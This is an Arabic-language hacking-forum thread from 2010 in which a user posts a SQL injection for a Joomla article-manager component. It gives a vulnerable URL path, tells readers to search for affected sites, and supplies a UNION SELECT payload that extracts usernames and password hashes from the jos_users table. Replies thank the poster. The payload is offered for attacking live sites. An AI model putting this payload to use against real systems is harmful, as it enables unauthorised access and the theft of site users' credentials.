ثغرة في سكريبت جمولة

M!M0 · 01-15-2010, 01:56 AM

السلام عليكم ورحمة الله وبركاته

جبت لكم اليوم ثغرة في سكريبت جمولة

الثغرة من نوع SQL INJECTION

الذي يعشقها الكثير

نبدأ

دورك البحث عن المواقع المصابة

كود PHP:

  index.php?option=com_articlemanager&Itemid=349&task=display&artid=

طريقة الإستغلال

كود PHP:

  null/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rix,5,6,7,8/**/from/**/jos_users--

الثغرة من إكتشاف

FL0RiX

إن شاء الله تستفيدوا

موفقين بإذن الله ...

المصدر: :: vBspiders Professional Network ::

eyvm td s;vdfj [l,gm

az360 · 01-15-2010, 02:37 AM

بارك الله فيك ،،/

Dr.NaNo · 01-15-2010, 09:44 AM

بارك الله فيك أخي على الثغرة بس انا مريت عليها اول بس مافهمت كيف طريقة الاستغلال [ صعب ، شوي ]

تحياتي لكـ ياغالي

KaLa$nikoV · 01-15-2010, 05:54 PM

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

~ْ R.ZoRo ~ْ · 01-15-2010, 11:08 PM

كبير تسلم على الثغرة

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
ثغرة جديدة في سكريبت الفي بي الإصدار 4.0.8	NeTCaT-Ma	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	98	05-15-2011 01:05 PM
ثغرة من ثغرات سكريبت جمولة	M!M0	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	5	02-01-2010 06:33 AM
من الفرن الساخن أحدث ثغرة لسكريبت جمولة	M!M0	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	5	01-22-2010 12:09 AM
ثغرة في سكريبت tincan ltd	M!M0	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	4	01-12-2010 10:15 PM
ثغرة في سكريبت phpMDJ 1.0.3	M!M0	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	3	01-11-2010 07:57 PM

ثغرة في سكريبت جمولة

قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات